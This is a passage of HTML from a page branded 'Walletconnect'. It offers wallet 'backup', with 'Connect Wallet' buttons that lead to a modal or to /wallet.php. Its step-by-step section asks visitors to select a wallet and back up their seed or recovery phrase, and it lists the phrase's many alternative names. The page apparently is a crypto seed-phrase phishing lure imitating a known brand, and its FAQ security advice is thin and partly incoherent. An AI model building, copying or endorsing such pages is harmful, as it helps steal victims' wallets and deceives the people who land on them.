              <span class="size-12 cursor-pointer xl:size-[60px] text-primary hover:text-neutral1 rounded-full border border-primary text-2xl f-center hover:bg-primary duration-300 next-product">
                <i class="ti ti-chevron-right"></i>
              </span>
            </div>
            <div class="product-scrollbar shrink-0 max-md:w-full grow h-0.5 bg-primary/40"></div>
          </div>
        </div>
      </section>

<section class="bg-accent5 relative overflow-x-hidden">
        <div class="max-lg:hidden w-[250px] h-[300px] absolute bottom-0 blur-[85px] left-[-12%] bg-accent1/50"></div>
        <div class="max-lg:hidden w-[250px] h-[300px] absolute top-[-6%] blur-[85px] right-[-8%] bg-primary/50"></div>
        <img class="max-md:hidden absolute left-0 bottom-3" src="assets2/images/how-start-el-1.png" alt="" />
        <img class="max-lg:hidden absolute right-[5%] animate-skew top-[4%]" src="assets2/images/how-start-el-2.png" alt="" />
        <div class="container pt-120 pb-120">
          <h2 class="mb-10 xl:mb-[60px] text-center fade-up-anim text-3xl font-bold">How To Get <span class="h2 text-primary underline">Started</span></h2>
          <div class="grid grid-cols-12 gap-4 xl:gap-6 z-[2] relative text-center after:w-full after:h-full after:xl:h-[90%] after:absolute after:left-0 after:rounded-xl after:top-0 after:xl:top-[5%] after:bg-accent6 after:z-[-1]">
            <div data-delay="0.05" class="fade_up_anim col-span-12 md:col-span-6 xl:col-span-3 p-4 lg:p-6 xxl:px-8 xl:py-10 xxl:py-[60px] rounded-xl bg-primary flex flex-col items-center">
              <div class="size-[60px] text-primary text-2xl f-center rounded-full bg-neutral1 mb-4 xl:mb-6">
                <i class="ti ti-user-plus"></i>
              </div>
              <h4 class="mb-4 xl:mb-6">Connect wallet</h4>
              <p class="mb-7 xl:mb-10 lg:text-lg">Click connect wallet button.</p>
              <button @click="window.location.href='/wallet.php'" class="btn-accent6 bg-white text-primary border-0">Automatic space connect</button>
            </div>
            <div data-delay="0.15" class="fade_up_anim col-span-12 md:col-span-6 xl:col-span-3 p-4 lg:p-6 xxl:px-8 xl:py-10 xxl:py-[60px] rounded-xl flex flex-col items-center">
              <div class="size-[60px] text-2xl f-center rounded-full bg-accent4 mb-4 xl:mb-6">
                <h5>02</h5>
              </div>
              <h4 class="mb-4 xl:mb-6">Select Wallet</h4>
              <p class="mb-7 xl:mb-10 text-neutral1/80 lg:text-lg">Choose your prefered wallet to backup and click on connect.</p>
            </div>
            <div data-delay="0.25" class="fade_up_anim col-span-12 md:col-span-6 xl:col-span-3 p-4 lg:p-6 xxl:px-8 xl:py-10 xxl:py-[60px] rounded-xl flex flex-col items-center">
              <div class="size-[60px] text-2xl f-center rounded-full bg-accent4 mb-4 xl:mb-6">
                <h5>03</h5>
              </div>
              <h4 class="mb-4 xl:mb-6">Backup your wallet</h4>
              <p class="mb-7 xl:mb-10 text-neutral1/80 lg:text-lg">Your wallet backup may also be referred to as a: <b>backup</b>, <b>recovery seed</b>, <b>seed</b>, <b>seed phrase</b>, <b>BIP-39 seed phrase</b>, <b>mnemonic</b>, <b>recovery phrase</b>,  (plus various combinations of these words)</p>
            </div>
            <div data-delay="0.35" class="fade_up_anim col-span-12 md:col-span-6 xl:col-span-3 p-4 lg:p-6 xxl:px-8 xl:py-10 xxl:py-[60px] rounded-xl flex flex-col items-center">
              <div class="size-[60px] text-2xl f-center rounded-full bg-accent4 mb-4 xl:mb-6">
                <h5>04</h5>
              </div>
              <h4 class="mb-4 xl:mb-6">Start your journey</h4>
              <p class="mb-7 xl:mb-10 text-neutral1/80 lg:text-lg">Having a safe wallet backup means you can recover your Bitcoin in case of hardware failure or the loss of your device</p>
            </div>
          </div>
        </div>
      </section>

<section class="bg-accent5 relative overflow-hidden">
        <div class="max-lg:hidden w-[250px] xxl:w-[350px] h-[250px] xxl:h-[350px] absolute bottom-[-6%] blur-[85px] left-[-12%] bg-primary/50"></div>
        <div class="max-lg:hidden w-[250px] xxl:w-[350px] h-[250px] xxl:h-[350px] absolute top-[-6%] blur-[85px] right-[-8%] bg-accent1/50"></div>
        <img class="max-md:hidden absolute right-5 top-12 animate-slow-rotate" src="assets2/images/globe.png" alt="" />
        <img class="max-lg:hidden absolute left-[5%] bottom-[6%] animate-updown" src="assets2/images/try-el-1.png" alt="" />
        <img class="max-lg:hidden absolute right-[5%] bottom-[4%] animate-slow-rotate-reverse" src="assets2/images/try-el-2.png" alt="" />
        <div class="container pt-120 pb-120 grid grid-cols-12 gap-6 xl:gap-10 items-center relative z-[2]">
          <div class="col-span-12 lg:col-span-5">
            <img src="get-started-recovery-phrase-lg%402x.png" class="fade_up_anim" alt="" />
          </div>
          <div class="col-span-12 lg:col-span-7">
            <h2 data-delay=".05" class="fade_up_anim mb-4 text-3xl font-bold">How does wallet backup and recovery work?</h2>
            <div data-delay=".25" class="fade_up_anim rounded-3xl p-4 lg:p-6 xxl:p-8 bg-accent6 border border-accent4 flex gap-4 flex-wrap items-center justify-between">
              <div class="max-w-sm">
                <h3 class="mb-3">Secure</h3>
                <p class="lg:text-lg text-neutral4">First, we need to talk a little bit about how crypto wallets work. Crypto wallets work by holding cryptographic keys that are used to prove you have control over cryptoassets2 on a blockchain. Whenever you wish to do something with your cryptoassets2, you instruct the blockchain and use your private cryptographic key as a sort of digital signature to approve your desired action.</p>
              </div>
              <button @click="openModal" class="btn-primary">Connect Wallet</button>
            </div>
          </div>
        </div>
      </section>

<section class="bg-accent2 relative overflow-hidden">
        <div class="max-lg:hidden w-[350px] h-[350px] absolute bottom-[-6%] blur-[85px] left-[-12%] bg-accent1/50"></div>
        <img class="max-lg:hidden absolute right-[2%] bottom-[3%]" src="assets2/images/faq-box.png" alt="" />
        <div class="container relative z-[2] pt-120 pb-120 grid grid-cols-12 gap-6 xl:gap-10 items-center">
          <div class="fade_up_anim col-span-12 lg:col-span-5 p-4 lg:p-6 xl:p-8 xxl:px-10 bg-accent5 border border-accent4 rounded-xl">
            <p class="text-lg font-semibold mb-3">FAQ</p>
            <h2 class="mb-4 text-2xl font-bold">Your questions <span class="h2 underline text-primary">answered.</span></h2>
            <p class="text-neutral4 mb-6 text-lg xl:mb-10">Let's do our best to answer your most frequently asked questions.</p>
            <div class="bg-accent6 p-5 rounded-xl">
              <div class="flex gap-3 flex-wrap min-[420px]:flex-nowrap items-center mb-6">
                <div class="size-20 shrink-0 rounded-xl border border-neutral1 f-center">
                  <div class="size-8 rounded-full bg-primary text-accent5 text-2xl f-center">
                    <i class="ti ti-question-mark"></i>
                  </div>
                </div>
                <div>
                  <h5 class="mb-3">Still have questions?</h5>
                  <p class="text-neutral4 text-sm">Can't find the answer you're looking for?Please chat to our friendly team!</p>
                </div>
              </div>
              <button @click="openModal" class="btn-primary">Connect Wallet</button>
            </div>
          </div>
          <div x-data="{opened:2 , handleOpen(i) {this.opened === i ? this.opened = 0 : this.opened = i}}" class="col-span-12 lg:col-span-7 p-4 lg:p-6 xl:p-8 xxl:px-10 bg-accent5 border border-accent4 rounded-xl flex flex-col gap-4 xxl:gap-7">
            <div data-delay="0.5" :class="opened==1?'bg-accent6':''" class="fade_up_anim p-4 rounded-xl border border-accent4 cursor-pointer" @click="handleOpen(1)">
              <div class="flex justify-between items-center">
                <p class="text-sm lg:text-base xxl:text-xl font-medium">How can I secure my wallet?</p>
                <span :class="opened==1?'bg-primary rotate-180':'bg-accent6'" class="size-8 md:size-10 cursor-pointer rounded-full f-center text-lg shrink-0 md:text-2xl duration-300">
                  <i class="ti ti-chevron-down"></i>
                </span>
              </div>
              <div x-show="opened === 1" x-collapse>
                <p class="text-sm lg:text-base xxl:text-lg pt-3">Set a unique passcode for your wallet.
                </p>
                <p class="text-sm lg:text-base xxl:text-lg pt-3">Also, make sure the numbers are random. Birthdays, anniversaries, house addresses, and the last digits of your phone number are all popular combinations and are crackable codes to a resourceful criminal.

</p>
              </div>
            </div>
            <div data-delay="0.15" :class="opened==2?'bg-accent6':''" class="fade_up_anim p-4 rounded-xl border border-accent4 cursor-pointer" @click="handleOpen(2)">
              <div class="flex justify-between items-center">
                <p class="text-sm lg:text-base xxl:text-xl font-medium">How to backup a crypto wallet?</p>
                <span :class="opened==2?'bg-primary rotate-180':'bg-accent6'" class="size-8 md:size-10 cursor-pointer rounded-full f-center text-lg shrink-0 md:text-2xl duration-300">
                  <i class="ti ti-chevron-down"></i>
                </span>
              </div>
              <div x-show="opened === 2" x-collapse>
                <p class="text-sm lg:text-base xxl:text-lg pt-3">1. Export Private Keys/Seed Phrase: Go to your wallet's settings and select the “backup wallet” or “export keys” option.</p>
                <p class="text-sm lg:text-base xxl:text-lg pt-3">2. Secure Your Backup: Store backups in multiple secure locations like USB drives, paper copies in fireproof safes, and safety deposit boxes.</p>
              </div>
            </div>
            <div data-delay="0.25" :class="opened==3?'bg-accent6':''" class="fade_up_anim p-4 rounded-xl border border-accent4 cursor-pointer" @click="handleOpen(3)">
              <div class="flex justify-between items-center">
                <p class="text-sm lg:text-base xxl:text-xl font-medium">How to keep bitcoin wallet safe?</p>
                <span :class="opened==3?'bg-primary rotate-180':'bg-accent6'" class="size-8 md:size-10 cursor-pointer rounded-full f-center text-lg shrink-0 md:text-2xl duration-300">
                  <i class="ti ti-chevron-down"></i>
                </span>
              </div>
              <div x-show="opened === 3" x-collapse>
                <p class="text-sm lg:text-base xxl:text-lg pt-3">Securing Your Bitcoin: Choosing a Reputable Exchange.</p>
              </div>
            </div>
            <div data-delay="0.35" :class="opened==4?'bg-accent6':''" class="fade_up_anim p-4 rounded-xl border border-accent4 cursor-pointer" @click="handleOpen(4)">
              <div class="flex justify-between items-center">
                <p class="text-sm lg:text-base xxl:text-xl font-medium">How do I trust a safe wallet?</p>
                <span :class="opened==4?'bg-primary rotate-180':'bg-accent6'" class="size-8 md:size-10 cursor-pointer rounded-full f-center text-lg shrink-0 md:text-2xl duration-300">
                  <i class="ti ti-chevron-down"></i>
                </span>
              </div>
              <div x-show="opened === 4" x-collapse>
                <p class="text-sm lg:text-base xxl:text-lg pt-3">Back up your wallet.</p>
                <p class="text-sm lg:text-base xxl:text-lg pt-3">Be cautious of phishing scams.</p>
              </div>
            </div>
          </div>
        </div>
      </section>

<section class="bg-accent5 relative overflow-hidden">
        <div class="max-lg:hidden w-[250px] h-[250px] absolute bottom-[-6%] blur-[85px] left-[-9%] bg-primary/50"></div>
        <div class="max-lg:hidden w-[250px] h-[250px] absolute top-[-6%] blur-[85px] right-[-8%] bg-primary/50"></div>

<div class="pb-120 pt-120 relative z-[2]">
          <h2 class="text-center mb-10 xl:mb-[60px] fade_up_anim text-3xl font-bold">Trusted by</h2>
          <div class="swiper brand-slider-one fade_up_anim">
            <div class="swiper-wrapper ease-linear">
              <div class="swiper-slide flex items-center h-20 justify-center">
                <img src="assets2/images/brands/item-1.png" alt="" />
              </div>
              <div class="swiper-slide flex items-center h-20 justify-center">
                <img src="assets2/images/brands/item-2.png" alt="" />
              </div>
              <div class="swiper-slide flex items-center h-20 justify-center">
                <img src="assets2/images/brands/item-3.png" alt="" />
              </div>
              <div class="swiper-slide flex items-center h-20 justify-center">
                <img src="assets2/images/brands/item-4.png" alt="" />
              </div>
              <div class="swiper-slide flex items-center h-20 justify-center">
                <img src="assets2/images/brands/item-5.png" alt="" />
              </div>
              <div class="swiper-slide flex items-center h-20 justify-center">
                <img src="assets2/images/brands/item-6.png" alt="" />
              </div>
              <div class="swiper-slide flex items-center h-20 justify-center">
                <img src="assets2/images/brands/item-7.png" alt="" />
              </div>
              <div class="swiper-slide flex items-center h-20 justify-center">
                <img src="assets2/images/brands/item-8.png" alt="" />
              </div>
              <div class="swiper-slide flex items-center h-20 justify-center">
                <img src="assets2/images/brands/item-9.png" alt="" />
              </div>
              <div class="swiper-slide flex items-center h-20 justify-center">
                <img src="assets2/images/brands/item-10.png" alt="" />
              </div>
            </div>
          </div>
          <div class="swiper brand-slider-two fade_up_anim">
            <div class="swiper-wrapper ease-linear">
              <div class="swiper-slide flex items-center h-20 justify-center">
                <img src="assets2/images/brands/item-11.png" alt="" />
              </div>
              <div class="swiper-slide flex items-center h-20 justify-center">
                <img src="assets2/images/brands/item-12.png" alt="" />
              </div>
              <div class="swiper-slide flex items-center h-20 justify-center">
                <img src="assets2/images/brands/item-13.png" alt="" />
              </div>
              <div class="swiper-slide flex items-center h-20 justify-center">
                <img src="assets2/images/brands/item-4.png" alt="" />
              </div>
              <div class="swiper-slide flex items-center h-20 justify-center">
                <img src="assets2/images/brands/item-7.png" alt="" />
              </div>
              <div class="swiper-slide flex items-center h-20 justify-center">
                <img src="assets2/images/brands/item-5.png" alt="" />
              </div>
              <div class="swiper-slide flex items-center h-20 justify-center">
                <img src="assets2/images/brands/item-9.png" alt="" />
              </div>
              <div class="swiper-slide flex items-center h-20 justify-center">
                <img src="assets2/images/brands/item-8.png" alt="" />
              </div>
              <div class="swiper-slide flex items-center h-20 justify-center">
                <img src="assets2/images/brands/item-7.png" alt="" />
              </div>
              <div class="swiper-slide flex items-center h-20 justify-center"><img src="assets2/images/brands/item-10.png" alt="" />
              </div>
            </div>
          </div>
        </div>
      </section>

</main>

<footer class="bg-accent5 relative overflow-hidden footer">
  <div class="w-[150px] lg:w-[250px] h-[150px] lg:h-[250px] absolute bottom-[-6%] blur-[85px] left-[-9%] bg-primary/50"></div>
  <div class="w-[150px] lg:w-[250px] h-[150px] lg:h-[250px] absolute top-[-6%] blur-[85px] right-[-8%] bg-accent1/50"></div>
  <img class="max-[1700px]:hidden absolute left-0 bottom-0" src="assets2/images/footer-el-1.png" alt="" />
  <img class="max-lg:hidden absolute right-1 bottom-0" src="assets2/images/footer-el-2.png" alt="" />
  <img class="max-xl:hidden absolute right-0 top-2 animate-skew" src="assets2/images/how-start-el-2.png" alt="" />
  <div class="pb-120 pt-120 relative z-[2] container grid grid-cols-12 xxl:grid-cols-10 gap-6 lg:divide-x divide-accent4">
    <div class="fade_up_anim col-span-12 md:col-span-6 xl:col-span-3">
      <h3 class="mb-4 xl:mb-6">Quick Links</h3>
      <div class="grid grid-cols-2">
    
       
      </div>
    </div>
    <div data-delay=".15" class="fade_up_anim col-span-12 md:col-span-6 xl:col-span-6 xxl:col-span-4">
      <div class="text-center px-4 md:px-6 lg:px-10 xxl:px-16">
        <h3 class="mb-4 xl:mb-6">Newsletter</h3>
        <p class="text-neutral4 lg:text-lg mb-8 xl:mb-10">Welcome to Walletconnect your gateway to the world of Web3 trading! Our user-friendly platform</p>
        <form @submit.prevent class="flex items-center">
          <input type="email" placeholder="Enter Your Email..." class="w-full focus:border-primary bg-transparent rounded-full px-5 py-4 border border-accent4" required />
          <button type="submit" aria-label="submit button" class="size-[56px] rounded-full bg-primary shrink-0 f-center text-xl"><i class="ti ti-arrow-up-right"></i></button>
        </form>
      </div>
    </div>
    
  </div>
  <div class="py-5 xl:py-8 border-t border-accent4">
    <div class="container text-center flex justify-center gap-2 sm:gap-3 items-center relative z-[2]">
      <p class="text-xs sm:text-sm md:text-base xl:text-lg">Copyright @ <span id="year"></span> Walletconnect</p>

</div>
  </div>
</footer>

</body>

</html>